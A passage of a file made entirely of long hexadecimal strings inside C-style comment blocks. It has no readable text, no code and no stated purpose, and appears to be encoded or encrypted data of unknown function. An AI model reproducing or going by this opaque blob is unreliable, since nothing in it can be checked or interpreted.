6e067eaa4d821f2a31c31798f604bfac79892e49716483a151b8a430ae80bd38e25b099d698b5e47915f269ca53e63e28432ee438799a0c40475fc38ab40a65e2130c3e20df272458fd2b5c0057946ef302532860a65c00bc424cefdf07722ef3427a17b2531216f97f6ebc3c66e835d7ba141317314dfe960b42b74027fbe41ad40b89c23524839b40c2f3f76a4a6368c9c8be1f7cf27b7bf499f521e49cd8b29eec4718702b2d9ff6ec2add93479df7780b483a778bbcf10389ed33b790bbe6db6687659b4d98450271ff32f20d76c4576f25212fcdbccc2afc80581fd827bf67fe52aab952c0f016ed1c152a1f4628adafbb8a9764e1a4f78689572191cb44c9c0db95856e3f583967ed71502a6ed57140bdc0ccf6406f02ed94b00bebbfe292d9fef42b90b568137da7c8a2c5f38c4e112632ab8e143967be5e88f8b7f3078792085e14987d058eb52487b1f71ed3b8371cc773a0fc5ace51c034985dcf5d67e286fa6390563fc69b24177a865e956a7053291a3ef5740b12f1f354dd58d715e7eaab8ffca2a4f13f2395347c3503ef440bb479319445cb0f73374addf9dd0ac2e51b7b2dae51960ca7a0e0355a6436766e2900ba3f5535b9007c99a0a548911e6abded3dd700f2c3b4b5d29f854061b2ebdf13367327619ebc479e3b8e0f66ab51db7889296b83c7c07ef926f2b0a175e2b6770fe3226d4b6e1ddf16b285c4a56a1c86642229be7b5f7f8053259f8976f611323673b25bd8d6ca774d98cf427506ec911c18f3313ba5c2f42e4890f168b5dca4e6a56bcbb5281aaf335d27eb93eec1646c9e820c5799814216f929f7a14d9625909dfa0c8c2bb6513c437120a69ef3f076f715c1109173ef6a44e6a250f41d1f5b02b5c9b3a2905db27ce08eaa7f4bd63be8172476bca4fe98ae2e74adb1ec6c3f51896a7eaf525df35e745e837ffae46d0641dc8edd5ad475e98a29cc0fdacac3f15787918baa7e6be1e8961e941171c2436cdfdc5c1ae987a1aa3bb2320ba2c12170ce4a783dfb6bfafd3d17dd979ea15b9f72334208469ea0ba5e6631c2a2e2c76dc4d0b41de563212e1784d079021cefcf2a7d5aab7af2bc8d07cd5fe1b43d0a6f4004b26ee473768d1c5aa13f77fb620f37a413a06681dff32667c385854af73f25864e74fad4f50a4b15e6416646b870fbd31170fb15f82f8ceb71c1bca86a2c5de8364a0dfebf084cb15c0953bb33d910aeae7792f0fe033692adaf5bb3a7d9fbd65e27efce5033af41025eabc28e1ae0fcb35004ddeb6c40ffd56135a7b0b06adc3601f941b0df21c1ead1671d6f6fa90503b7e2bc02ce25508c6eb5986bff7888ffbf32a092108fbeb0d19a4b8cc847931b9f836d09e46fbae4c9a9214c92e78ffdca54c5fd35af935030d6f7b1e3e9392d64ca5979ffff041ddc56d3c9987f45222f3ce7e99015957d0cd46c786b0e6396566f13f2d6bea018077b855535be9ee1bbc7a191382385e37901a572201345464d1e5f4e67d0de8806998daff47df53d9cd88b8cef078fd1eaf6af95ac9fc869c01ae2509a87486c394e4428a242f3fbd18c6924dc8b4a4e8e9a8d730211be883e17f4f8af40c906c2830bed7b53010ba9ed26498a811a2381b66d8a434c32ce73735bbfe6bb5eaf3fb8a9bdbf16ea18c5f666e7ddd9bec7634976ca57d6a6663df3908061ff0554d61965c201682579f97816514ebf447421539abb4e42967b0508a97860a92fbaf14b4b03c5f8a8c2c939dc0393960d090b641e4652b6c3f2103e982a8f36d55175414910ee3753be51b0f8f265ebfc31a964d71e9cf6f8bec372811de144eecabcf8088c5e9e2279fee4a161bcf6d85073c9e2f19b17d5e72659288ccd9cedbc23af983f9d4b7d5222388e8dab5f6d33198c336d0b8d0aca3dbcefee12f89addf7b527d8125fd7248ab408d80a252*/
/*a9b06a34dce5b35331438b998a8d5f338d200e9ebf03cd3372bc8f93697e78a8b038b6d1f84de08c16ad46e38686a1f08f7bb11a02e52a14d059b5addeb316e3f70afcf8db888ef681c4a27506ac7b31f5148ff5184f2e3da5a4acee1d2c55d16a7a85f013df163a1be459e61c94d26903ac0c7e77859012cddda6419f8663ffabc0841643c42c4f1211725cde2f62c612c9320d30756ec5bffeb69da31a31d9700be875c25825188d69e05d1b8e3ed0ab187d271f5e459c259d5be8856bdfc535eb12a6ef1f6f81a6def9f4fab90f132c133a819430d30da9b28c86e445b673d0e016fd9850090433d5af4730ef5589b81d60ded6fec968865d646b653b95dc1c4f46022ff5459cedb5cb6e4a82940aeddee3c5ef78835766c5df0908713ce214d3d2a493b9b6319d62ec166ec82f00acacd382c7961a496ee5fa7518afe56b9d9b687c1de51cb8018f8445ba9a123836f54e053806af95a29300075858e7f81b9d9d85a4d4f68a91dc285fa556c548746373bb3fc7e243b65776f15cc95a6c0ecc214ca5785533944ff3c96e486092f24ec45f9a5865ecf7e0e4a459d82e8a8fe7e986e02b2e6fd96011ba530d7c40c1f508fc5d67defadc6649cd17f39a0b568f3efe4e656ca5081160b5799e2cd06a17ac500869787a24ef1f38f89f7186598d5b98aa81479ef5bb708131a11ebf014373dbedfe24ba8116f93c601cae5a25de585491037d38e24f32e6b7dd279ea6cc27c94cd87b86bde08c5aded4d0cc7c16524dd745c257389c5650c501256a4c0e3e24750e4ba681cb1e56cabf85c2ba98e50b81052aa7fec92421b4c7a2eca25324a87ca5e81fb8314b98cfaf3f37240f462300d49b8f7791116704bed64ae65bd273bfa533655892385a76115b5f56f001936707b109f6f56845ae4ec959f60d72758e36990a99c367848cf59cdb6ed24d98eab347fab12282822f5372cfde6547d9b1516a1d5cf962a371717e3eade6c77791a3026d660a2f455ab647fbaf47856c920edee07f8244db802de671871937f3bae94db7b96c986ca8c953bf4d355ac0ead8bae313684129d4e4f4ebb302b768724ef6af6dcfb9d5ff789855e914aa8bc1c178cc9d572d51f3090f9e1fe697844d4d02f9c074489089ba95bb7f2dbd5e666934e79262640b91356fc556e38e2e54f5a2f92109156c286952e5a59a419ae702179a68fb23938beddda8cbed8d1b878856fc8dbfee5cff350719ad8e5e6c38387b9bed93a182ad49a5f8be3692d263d5e85077c16e040531cf4a0627de08b79ff47f2a83a76094742f370a04e74f9357af993801efc39b5567d3443517bda1eb0f525d0ee7a9b982f22410386a87e248731c62767b84f364ca79e6e0667b4af8a73706f0a2bf7f01cbb078e077baefa382ac03e6fc188321a140f8a9fa4e3c873c29a38c48679760590696cda4ee91b17cb4226562431d95b873eae28cd60d9af3ffc10e7f26fb2803c3337ada7795f6acdc325ce7dd0b6be6e31465e0e85c6b638da25647bf9a1134381abb75e395ef5af4117ed4be6253770fac732492340620fac26b6a4c93b1ab8a5a3da9dcf6b8be1f3ad9568bb6f1072148150b4259d88c50043d0b89dacee8c697e1dc52ed7b87d894fb8543bf9661807e132c5dd97f50cb2b2a6c66b84b5c7573adbadc84f27083ca89a6550f420d4be2a8686e5c16c75c41593d6fb52d7a7b8c6e029ab8566663458883b240ee10b33390f7bbda7170a4c75b27029e3a499be1b55d7b973464ff85d9b8cb958cdcd695c8e28af0c1c4a985595bd477316cc1dbd8b5df9755fb1024a7ca4b3d24fc1b1190e5d4c63f4c1a4c7d0d4846aed3b81f5a22f8a1f88b56d99c3a2eac354d9d2c23d051bdf9810f75bed982e91b1c276bbfd7e03bcf85dd54014815fa2f08be6da6cac7890ef31ad9cb83c822a6c8baa706c69c64a2bc7b68f3d9384c088e1047883235c2a881a5c0924a2bd4874ca2662288d8162e9914dc5b5e87f8fed3a8e6eee9b80e3ecc74b8e943adc0509edc1092f6b7bc2c87f1b33bc92af684f63fe5eff587033ba85c1d00166d5997d925c06b182e1c9eae29851780d09a33926e02a209bc9d08f938ea3f1bfeb73161e6687a55fb32c89d5c3ce385d91539603eadb5c6f7e8b010f0c3b00a6e05ba5deb78852128e068c65a539d6290d88044794f9a04d244e644065ebd840f0720e50fd6258f9bc0fc0cf247fb311cd3aeedcb6f2d217ae9d07ac0a5ad7a56a90ceff199f9bef1cb6ddc417e76de2e7965a70d752f6085684c7b8dff94185b818a6ec1efcf71bddd97f04f88c0aa092f23c05520f3f850b9f53d0a68fd066a08d4a57e773561bdb06f1ed4854e93f8f0a5fe56a4ad4158aa199409031436af7906954186a9fda8b8c1226475a40c598018523fe490d182d5e0a11c4707fbfb8bf14b3aadf749eb335a3e0db6ba9095ab9fdc5509b222933ee64bfeacba29526491167c755dbfc171b68f8a1b4727ea5dba48b886829e8e7f726fbc25fe0fd55926f7dbeab3ff132a17e870c35ca5bb30d5127696a26b480a7293d4c8d10ac462503e7c00e7641b5df4bcb182be4673ea0f5da7a6cc92b8d24c68ee95c6d51e929adc248a9f1aebd43066b4142dc071eeb1fdf2427dd29a5deb70d2a674fb8e09aebddc6e2b4f1f808925f546a4a9e2bfb61655fabac1f2fa8275cbf4baa7b0fb43cc4c65373c9b48fad73f823635b92719d2e37446d49761f92af069d1c2d695f953443c9a6aca5ed894ca91df8dc093d9213634d2d5310d4da16ab23b8d02b068afafff0ce26968513cd0db83035444f2856a*/
/*336b9a16a528105ead56ca6c3f1ee84cf511f30c49f6880b2c3bbed7db843a96a0a7f26dd41fb0aab9a48ef8f4df677d447e487f3439eee0c2ec5b7b908802fe473604f98e2f37201b1b8e5749e9769d2ac683a64799d3caa4c763a6baeb9e168c03fd1198e1a2c8a291e458f83c4cd8cee7db5252ffc2ac778759979ffc0eb1464ebb5b74638bdc5e33909b07c1d3be404c0d3ae54508a5125cb6851cd33ca9da7f37dc529cfd4a834d07df252b6100bc31c060c47b804c163d4816da7791a2d722cc2e6f02ab592d7e5dc3c6b49d3685638825537e0d3786857f08fedf9c2ecf7d5b1096b8c75399e029e2d451b099d6d909583d6453c93766ab66f793fbcfa94feb3e119dd1609edbe3dbf8480d55e2c9c49a05cdebd15ab8a4d5f7904c426ea86b7c555ba08aca63efe7a89e3204f9bf253295c81ed3ea0391833f8e00229821cf5e68f1788757fe6e123ed212ee1c13c07837604b72a0bdf4a99e069f2231a1216ceae50c18b695af74cde9bc0c68c1be2d08a3e4e94a80232d6bb53d98edf722d150be87353a51137c0f902b6913ae4897d34ce54f95dd2329ce7de285cc8a277ec8fd885e14e07b50b54e87e84fe3e471196bdda28c61688c6aedb5ef459ac3497ba1c930b23101094b7a6f477f212c28a139cc254d526e66e49fb956a4196eea946fa8be5c56acc312da1cfbaf606fad47c90123951bce5a6f154547d5505af4a50e08841bebdc89cfd6f9f53a7d226dc541ad88ae35a8e10fe5636659997585e667304932003aa0aa15074d9ac84829ca98a3fa8ecff0d4096ccf2b0f79316108cd6fbf423a00010c56ff08aa4de976f7e84af3b5008242b1e3c78724dc761b40b21cee98e00493488b4c341957b98579f20e1d64deb7230e76d80b65dad122b36db2bee08e733866185381272057df6d0504e49ce45d42ca5a8d04654f6e85544e52ba1c948b9ac4bfec9b73d83a1e12e575aadc9e1eccb5a305461a4fe3b4880ad178e6fbf1741f0a4c02ce5f616baca5b59e7aede36c334b82d3dfd51dbff4fe7ba27832db831c9da496bc4d288c96eff17c5a662fd1a213b8653537263cffb29215c63c97259d32c19f2a1c3255dcc8b5716dc8f8c0a908bd75261423a46d53719fb4364a9fa669fbcdf01aa99fbf19de29e2193657485f75efe99652237d7d487d69d8887738ddb64e0076975a87e0e78f0a4865d5bbbd4b507fe789ec80629fe460ecb0b610c885c1c1855feb9fa6b284e6996cd107c3e72ec304630025f40eed9546b43ba7b969d0154bc453894a8038b48796225af0a5b6850c4868f3632189a358bad8563ad37c6616d9e3a9db4f2dfc65c468ebe12f66579949740b96894e84ff007d089f4b7449fc92a38fd0e709af08556ecacdade0eb1d32a63009f79f65462a76dfbaeb0bbd7f99935ecf96fbcbb8382cccb7d7768df9755ca795526d39de2dbf476aa2622899a8d6e268f8390cf5b4bc61718ffacc4a358833f59c33dc8d1444c96d3c6718e586229e6746a6d312abccd0a832d851c862eb20b5b93c3c57d6af9a9377326dcc1c51cf728220d63a7847ac02f4cfb734ca0d23bfc303785cdec517c30d481de0ac8c3984f8d6160779e90ee838308e73e44acedffe4cf49b2927137ff59bbefa433826bfdedc8daa284de5a6decce210a93d104ae3e1d61df04427207d32676bfa1df3d2f453c7a34964eb42c4fd75cf76ba0a3f9c19d21db50003af40b721add1f5c048d0fa02771c6741275ef80f1b9831a210a3a06dc03edb55d46d0057a837b026bb89eea654863ee2723c4006b7279d114969d86a26d3fb265e7bda88f8280d3e1ef9542fee688d0229aff1e0a83c02fca7ba9eebee2d84b147a0c7f6eb981725128bf80fad3cf4b1e032ebcd3c2f577ed6ff228ed7e73078623958b7f99d71db856d13259a501d4932768dd5015608fc187c7d1cd7a2b276069362b39239b391a361f1d6d3f86dbd182708cc24bc9fc5d155e28d0deeb579d2a60e5e1ada461369b5f575be644d9584b4a371f29c68613d5220817fee7c450a9846192e735f070c12ebd88c58dfd70eb7075ad8aaaaf12d544ed2e21a2bb33e0d17632e73f3bdf6f2da15df56e641139b8d2679e27b3b8f6c2ffbb6aee928c54f58083688ba9b16cc708e3977995057cec06337bd6b13f8d18f030e28989027be988aeff3d65ba3b48d4545d662ffcf4f8f80d27cb81c5ed36ccf7c34409aeae9d0aab7024cb8841289816fac9994387b2f6e00c6980a23eb4ed3d17daebe202a103548d828261a8214b9dfcc14757642df458fb8d082ff661c3a22f32040b799fa3405e24f614ba2568c66fb3afc02532392d10b7ab438b77c3f27fb4cd663ffe97c95c6f33fe64d532092ea2247fd4cfdf50d9ddb7b5962582e4ef3041da8339afe35dbf4e5ce883d91a6105bd3facb4b1bce1c9632ffeb107647ebb0e3948d3430612b550da27810f4abba3cbf6d292301896969938be870c78f1b097bd76177b224b14fc7e9ea28f596c6ebb83509de823b071d360c9d02eec67d3654786e917624d57f1957c159f43ba8ae871810b251edfd5a102c4a71747ce456529f5ef30ab6350f32bfb667fb79763d81884f17a0f1c35c7975592c9c05342648427cbbeddf398cfdae92c6b36831a43ec06c02e7510770744921722351e8a7988376761b877940c1a301d87b372c5209fa4f751607d79024f14af6b02bc51f852719fedcdfd469879ffa83fd91cc08c0d8449574b1907e2ab755f7aa45e8413cc3372ac613ccfa074c3335285bfdb623492cf6f3cc0c3edefe07ca52a85ad2e163657d*/
/*a6b598c7f01a23583b9a81de83b336d832687057bcc3819f8b47104dda850e8a7b574702017a3fbf4f4303d3d03218297fdf86f999bd0dbe53c25a119cd49c569a7809838358fe6ef8666af31922c741f153309872cbfb17172efe8964d64b311bae715d175cbb14bf487b1d7a7d745a7851a9687ea2098a830128e87faba089d728b730fb995ea9d04ada8e240cdeb9f2be27cc66c5233df4d8988342fdc870bdac3f0e5f3fa05e9718085805d173abafc07e5ce19f2cb863303549ce43116c8b36be1c6da1a18a61713de52c77b5d3dba3b517cb116c7582b38ec20501ef332949e81a6a304cdcdb4c3f5451a257f58fa097a69e06a119e7d9725dbf46e778a9756962e3614f5ac18796e8e4003a6cf4413a21009d5898a197faa65b4e20a30fe0838036e1d9f136da7a8989a8c118814a0a06b0d11d0be93fec992ca725cf367af0edb05dc2336f1e073272cc3bb17e3a9b6956a1ff6a550b21ec28b2e9825c9bfaaf79248940937e35932da4dd15613ecc08137f79a1acc303cd1ae48e9bb8dd0ebfe11e7f66d0b9e22200d21fe78e9bf4b77c10657c996a6f84656d52c6ce983399ec10d6160e9ef490e78e7bd9ea1b38d00a6d2e78bcac88f41aea8baf07f710cd08118f53469a71ee69de46aea271542d3c13749465886ea7ba7d91557295a3e0205db7e0dd267a0c6c2c0eee620f36dfe4ebffd07ed1620a759dbc5af5c090436d5da8256bd2b87457a4c3727126357a1fbf6e3efabae15e5c35f9525f68ba2f4208bd4beb0262a380fbcb930fb57537f23f83c9a7c75ee70fc34477eda5ada6f06dfecdec3a104d22fcdf00a3a5e20148cccde730b118c7b672db6c72ad54e5162d41f4f83ec24f89c5cb5b46193d1ce99227a0481b6e5445b042d24c113645a13ca7cccc6533aa19797d7273098272e3f49c4ff29881bb12b91e038cc5d548b1748e22e5e1e642077b3f9e58201a5ec5e5048b985e47eab8cc5847d4bc6b1604eaf8edc8af8a61e6b1a6f04ec14cb3be73fb4be0763839c1341af4dd3e14f649d7b810f9cb0a709488b9995f7967fd27ce69a89c0e7cf8cc91daf2305c3c4d82fba41d2c4113a060fa86d0924b67f8af1af5bdbcaa4aaa0e87b6e1e619dfc11f3cb89c270f6ffe4acb1013273613b7cc90c92391f3dd3958c95a0cf2c89c2960971c5d2730ab97cdc25c2eee7e843319fa8bf316cd92ad5550883d79c42b8db96e7780492403444a2cee0be61d9220db3f660b14987c4a6c4898ac1a6375cff3f080281520a02b82d37a2efb980ae5d33e1d907685b19f841ccd9617eea3f4d90744d42c43a12b53721ad4b35a96c4db60544550ff3a81d9958c7947deb2ee2a7df7fe39bc8ff21cf4efcc0dff881ec144bedb5f5ac31556b9862d86b59d5891988caf92abc8375d9dba6227b9aa3e4703932453d13deb1dbd0ed4b6edec7820d6d38208f576406d27a6f71c3e887921a43471b2e128b173959e892a166a9773090ec9b88fa30574a7649e8368ddf2aff3856f14be73c22b116b18e5082c12c262e35628d690d5e31adc06c1474a20aeec06ff00430cd568d561c6746b5fc40b11eb5993eafbc55259d3cb141bddbcba2e157e7c9ce2c68cc6a4b7d8c67a6645cd1a5d6cec671bd010feb8487c413b58da13d288ba3f3d8f29db052fc618a517d98a940b34888bb89fbb8c72ed3544d8eef019ef9fa83999074024dbb919ac5db56fa3163e71d54194c319b7f68deb31a36f2a7014d8a876f58f5d982e550ffb45a275bc51e04713f4831ad2adb2cc367fac5b49740cde273fdbd4d124a7b1142bede3d42cadee46ae276148d86d8633d7ef5df74ce6848e98350d6968295d09500a669e90c9f238dd0a41167fc9f250ad457ea5e1bc50b8e6d2c0dcc2a47cd80a5bf94d130f4d97ddeb25d5651bc9dde4a2fe37a3ff9a2082f3ed72991b7c95f6056d3505a934380a4cb51a47f7ff68855025da9d15364890256676a806f4895979acf4321c3927132918fff16e90a775d58a0694822944ceb53a44c37697647f17fff7991717d3cb719dd3fef364ba828a142dcc70d0c99a38d0f9e963c8d2617025c1e7e01d60b124569e8c749f6730837d47976f1815798e802da960a7148dcbbefa6603a1764d5117754678420f03a7e9877cabb329e7c36711e3ba5ee84ffaac3742712be49b0b82e68780b52d65118fed63867bcf832bd772d804a1be92ecfb62f8e17361e268c30672a18802452c06f2a915156c70f0ef303e317a46e86cc240a7fd5830bbedeb4d4a93ad2e7eabb63f290c0c75f59e58708ba3c45bf3174d8ca980b45c3028d64804aaae61ac3171b9a3721fc527e463405c1cbe3200333484d5412fc40aaa4a9d78d77d1c507f86047192a7e9b92646e6ff6ba46548079e6a40ca835d5675874e3a4bdb94698477165d72a0d00fce062ecf97a24b7bea72527a63abb6e3af3bc5a1600de3395bce6833da6ed6a7d2bc696a886bd3c801e500237206b335341f52a0ddca91047c58780e57130f238207a9edeb09bf859d4af3d288bdbab6dd6c9d661dd03b680c7de1a342a3558f9e3f067957ca20a68cd0098e3cb8f59263c893c121fccb0dc01fd7a67846d2970a7155d839316a3f326b4949a49dd47a6f9af74c94ff0481244188c57a3ec5f22ac8817db66369601ec83e28ca48296509e1acd49be9b7842349b26c14a6c58dd1ceb48d2f7f344c45641f92d9bf48cf1f38efbabefea6279f5e14efad20d846927db36bc863cafd3cd0c1c1b0e0cbf3a262aa2bcb775c6dea49233bb140ba1360edd20dabe5caa2367595f741a8938b862e*/
/*dacb6af23cec263047bd4dc1c1763be164b14ac29aa8269acdcc381b62e3fbf3dd1b6ef80cbed0000c91d1cc8af9da92933d06b253a8d101790284366140616382433c608c7075174c56b1e6f24873452965693b5c2fcd9cf7ecfe3f3c1154ce6af3066d3b58fdf681a23981babfe7be3660c970f5d49e874b2f45ca0646491d2e67dd0091480fc54d4f8d1a9530f69871c333f0d2bc622f1963c2d5ea8cd182bcf49cd47d3196dba029f4e7cb63d43910ced595a283562594e610cf6b0462eeb54f1288ac51a42f600e2af3e75916e30c8a76eb1bdf8c260a1c9bd527982c3ddcd8ef26f7e60eacb2556645021afa248cb4e7505691d4e51237d6de194381c9046a2d82fa33265bbda86559782c371b7d1b3c461d7cf90baa63f04a00b30b77699c4aae7d4f2c7b6843b7a9ec31c81acb4bc4d26a3dc3319260c46fb97e7b1de746db4835db9f686ad24f901a5a0f1048e6d81166ac365a27ff89463a4d00c3ae7c265f9363a424f7e4d962077b0998c054fc1f9d83a15f0db6b7becdf82640f622f41e11b9485b3b1dfbb57051763c0fb7173008741459dbf0090cbe17bcf0fcea724c0778f5b90a3fc0f33a701d21f93bd8973eb903ae80b654182418e874851a3727ed282ac98a2a21ebeb58c0fbbd47c5f0fa53ee4dc8c94a93795f464f9e3a4c94ee3512bdd57d37816c5ad057668b664eaa195f6745094e9f32287d329c65711ed5cc55ca073c4794ed977c2b642c463656e506e1b5544627e0c12ba8dedb35336229ef6f636cf559988b604a83a365b8a9e41df26f9318679096796b090c0db8659d99870a700edf7b3c2e72461798af8543e8b000dda45aa35750ff417fe752c008b8a03fb7fd9550927c2d4ecb01af69501e054b714bda1d65897e8d808008b648985a1913e43789aa332eac5781dc64fc9613542fa5ef4d7e712cadbe977e1ea1c6e9c7b3183851384b7daa4756dfd8589ad6c70e5cefd3424ce475b77c431aea1d2b5c83ff09d254996750c82c9088ba3b60c5990e9318325546cd67fb15dda7d0138df86d046d4e142cee656e0befe07fec5a6762876731a6c671e3dc7051e9af288feb498f6e09b953faaf90d667f89ce2ac3b1ca6660474aec01155d2e7ea9242ce67343b640d2b2198ce7619f1de26dc465923c94553fbcf7d9789c5ad39f297b6d5e3a1b3098d986a2e69d159c029452e6812038828174a352b54026a25e770bac0331d75f0ab2a1cce554504119d735d695f82f42bdb4d5c71c04edd39420efd97d9df05cd000bed936cb4b58d3afc024a66f7368d17b5590e583110e38732600f5fd748549a9e216c85444906df2a5d5860d85968f8801f6251acb6b0816850bfc82e292d1fcde12f54f8c037565273f98e6f9880df32584c56e42c0b5d404366ab9aeed9768d0072057e51737669341406e79d71573e22d638d920b6da619bb2c6b951eac53bdbb1d9770d141a3b311782905cc073f7c3e3c074ea3b697ee7dc9bba3107fcc821a8831999643ece06af35332ac9042ab278abb58e58e78e0d2f066a31cacf7beea7437eaf2c012f44b980306e0a89feb7a1f35d9a4cf3a6120f72cf311cff6f6d36e541159f628e4b8df28a17790c1ca55beb5f8e4909d06602b51c9c17471455b3b4a33ed30a5a32191a56a503cc077e891c5fa8f500933bf674ae0372f89257d9d34fc8ddc15ec9d6396de0f7a6f10ea14f43b6dac8ed8f4c41b7f7979a50cce41ca0c663e7a497e25544ba9a148f74a9bed40afc6d4b53d9b364d2717bfbc8c27925d2f1efa843b905f099fec52598adb1a498e664ea408d786aaf354cdea493eeddab06f7da7e4066a4e59f3c301c69fdaf9cbcd713e7b3a1fa189043238575ea6004a72c50b7162d70ed6deb025b14f4e6bb8af743aef298f75bcea85a1d923aad6fe72b2e9fad38a3783e14eb56aa468cbafd20a0dc3512d81924970105072bee98a2d52d0c873c8864105575f0cae0b5cffbba9a0684dcaaf00bfced82c9061500bfbfa462dc6b50e0466b40adfe052548a71f62dfb9ff8ce2762ff48a98890cc827e6f8ec947bc5d47bb19314c466ed08a33f32427084d3e5eaf377174368d6f0cac1f56a21bf6ac50430e4cc529fa69ff9aa30714e3ca69357ebf2fc7164f785f7f51b44f5432e5fec1e77c5dc3e3e5705b9261d330b9f97089e648f39582bb5e327e33a6f78cfc63e485472cc3f25f201432a2bc90d1b0036d3a4681d17d8dfac21285e0079c8628a8ff68dfea970d354da82c8f08a82dce6791164661f2d501b3d3ff6df0fb5b64348d1e3fa825a8f02445ae8daf1787b3bc47b82f08d7478cf86fbc02fad70a1ee2221b79877f681e2a6cd8142e321ff96af8f8a2b9e8d13f7faac0b7f91adf7fbaf47d00fb98259aeec61ab50d35f77a6c6afbdfc65db6aebcb99b0315bc47fe7c61c4b8751fee6514e87daa9cefaf949866b9dbbef9e156d55ecdc874e82f8ef3ecf16ad5536610c558c2f355e58cf0b3b3a410a64ea3831682481abb3bc759193b2ceffa7ad4299c84ebc385c193e8744213b8e029809a2508ca4319d845b4ceab11ef1c4b55b1ac5642d24c845d138e868e62be8353e33881edde3c35eef45357eb25515fc95748683a9d85ea603229b334dcc34dc192880815edb09e5717b2ad53c8ff6bfba4d352fc57180a6ac11af717f8b25f276635488d4c3eaa84345944fc542431581c14cb44982323bb17bd3bf82bbc22ff4a1257989f026c1b3435d63e1c744dc88a3d3040af54dec9f9756ba8c6506b97839ac907c44e8e2abbe9113a41c8b438d1215cd746f2bbb633e1455*/
/*a8fbc786ca751dd5962bc0432ea26645120e52f35b966b1386478fd93ee78d6bcddd3ed2c9dbb65e9cb292db06a58df91ef65b3c9f9ba9fe4e9a6ba0abfcef8f1b3d884bce8504076a49697d713f6db56ebb38d15d520ed4451ef12306a486e58ffec74e8b25f9ae1dba4ca11261c8fb6a40cb26ce07f9ded821c3d0d993b8d88c16b0480ff72a35a112fde0656f4f6915d5b4fa6939f905cd41c82efed51c404e6684941ca6dfc67bf632a5845a6f00985b26bf8ac4565920663c929fdc14eb30b64db30075c9b69f52a88c658bb55e393c941b6d52301f834fcdd76e377bcc70d86120b4fe944a201e79b106272eec703098da2e83c3397048b5b33948eb355af2c9400092623ce3a58a4adcdb885c2a5ec959fd66130364c44a5fe2f4fd4aa30594c9effacfb8c1d093bef7091da32c34124c38a7164cdb47223ef9e42c03e133547f8db209b3fb47d0bd454c376e1891b63f035ae5ff967c439336059b5429b63342e7167d105e2b302c0448d2f6eec747315a11d45dcb121c384af59617097015155514145cefdaa26d61b8255fd76744e5638e5f5f8c259cfc1e2bb3b7484d173527fb83dde8e9096938731669ad208ddb46b53b2df25f1ec194b390a44233f16e470137ec386d30eea4f71a74b3a49c0dd76389d2a63ff01c3bd0005dee5c90a595e154be9e84ccfe6ad6daeed324b424898b2ee4c71df96b15cc1413186fc2f1d138516a8844c4fd8109f47464a48fd4caeaa69215bf9d1c47334d588a293582adbfd42ae6340edf9455e53a243cc1f1f89d75afb44a682209774d0b9947e9a1733c04202e2ce3d0539770d8ca594eb485cf8970659bb181f7c1ceaff1e5d6d82f6776c017e64d44322efc7b7d781d29ba06930cf3fc94ce1b111a0d816e987a7ce34b8877bf3f97dfae37e939b1a64b6699a91281d98b20553919d1920af0debee5ca76d5dda25450006ff1fa1c7803277852bbc1eecbe9d4e46e7c6d4d1522bb92c08755134c56f6b68da2724576ec1909fa724c83606e92002b1b398163a09cf1f27b20d14d5d6c7b14df8767a17f284fb088a13d6e8ed2aeaf9d0042288ac054cab374293c6254f19eb618b43fbe8a3a9d9d996dc22f1d02d7f817bc52959217b47d8924b242dd267bb18ed1351a9726ea3cf44fceab9bee8e2078175893c7d1f61502275ea4467e6f9551766688786de6de4205a179d00be178ca761e57ceb4806897d63e362ddfc54f673c48d72f6f40e27936b5b9affd1cb71f5d1b20a73eb8d959c4bb4f45ea9f0e0e3428cba253ccbca9c9699ab2398f011c95f3c50335250ffb5887581b5630aa6448e98b9e7f241158384925e4d2e3155c77cff977c7daa994fb9388ca5b6cd583f65f96f7480859cb451dfd14bfbd490ba35cfb68c423743a71241a2f07398b171d94615ff1ed778f0eaed094d91fca84237e42fc434e74e6daed1b0cade5e3f2490eb75c6477252e052682984cc1151ed440d7784526eb07b0cbf9e32f462fba1d261ed6a8f459c896cca6f2f9576873641b7f2ae7a881ea38aaae2787b84ce1eaeb6f4282a299e953d8a6ae3113927e1d97cb07eeae6fb14dc1fae66da93dd47345083c4987f7eac52f70508f3eb5c5a3af9416656e6e3aeeec598f197f667f2d44bd6a8ced852d32f116fe34a7acbf51e842ee4a0697ef19a8dfe11275d6358ea0eae66d8e4dc51d189d9d9352d96b3f21117f3027af0c63ee27b9a1d54441f95f2375b932bf531174fe52f1a0fc114112c4356513547ab4ce5cd50bdffd532b84e07718dbe84c121528533f32176dfa632ab668159d3a67b872c420a24be468f0398d65eef3b7eb4c269964c87a4a00794603e70679a392fdbf3e55d90e7f16c1cfd87cbf287294f19e7dab096f0eb7ec9bcdb3cab881c2b06afe364fd83a0c32c9aceffce4e4428330d8f39865658a7481d6f95003a3031e712146ebd66e4e81269c947909ba7767a012aac41662b6bd6ceb41f7114e5550ce713ebea721024b63c7878980c4f2d20b911394d2d55775a8a4125196e9d86247fd9b87cca736fbcf4f837f5365e0a2b204564ef47c729d017a8c18987b37e4d44d5f64879a1c53bd427a73d01b3e82f2232513794fe44cd0781e5714a2781a0694ed7f96fb65ce921530b529ca074837b0edd43ddd29e230059e79a0896d4f23de1031e1d322781ce5b48ac9caccda800ce369bc36f61b80a8f8343e9f095992a455ed09ae2e514638609754bfceb1c2c3ee407845d766c0bffcbc72f1c46a7abbe74b7a2e93bd9ff0f4885d991ae8c7e85a3404656921d0a55d21c0cbf6d22ca5f52876d4fc52b66cf5bd48825c1fa4d8172509501a88a90aa2b11bbc4b03626af6e07c348d16ccf6ca322dfa578f65fddbc3d566d52100ee9db090575225039cf49cd2a4952cac92482f50afded9e549ad7900ffff81c8d8fd2165cf9866a542ffbd0b8c30e8e8886b88d38e6e00b03256986c032c0a40a4de3f9ee48f7c7ae07e317fed6f8f2654d48504ac6748894d4d0dcddc9fbb4b312aa6f585c4c2ea8ac8ec6b3ad9885796d130869b7cb376e6a977deaa70b2dcce7c5aae52e7a91f182fdec315b63ae6190ec1e2617866ca8826b5976ac084d4157186d5411a5b332b9d84604e16400fc8afc731a8714da8568a0d95975fa010c546da0895eb05a6b598be9fd4af37da75dc5616a066213ac99258a36fd9aa06392e2347d68afe9be410b0e90ab5c9198a21cd9b29d7ac3b607cdbd248fb8d675c55e9674ee78cf11a76c785b3051ac02a9955b38602fa979b20a59fa2bfdd6f670d8a0480f8748b92206736*/
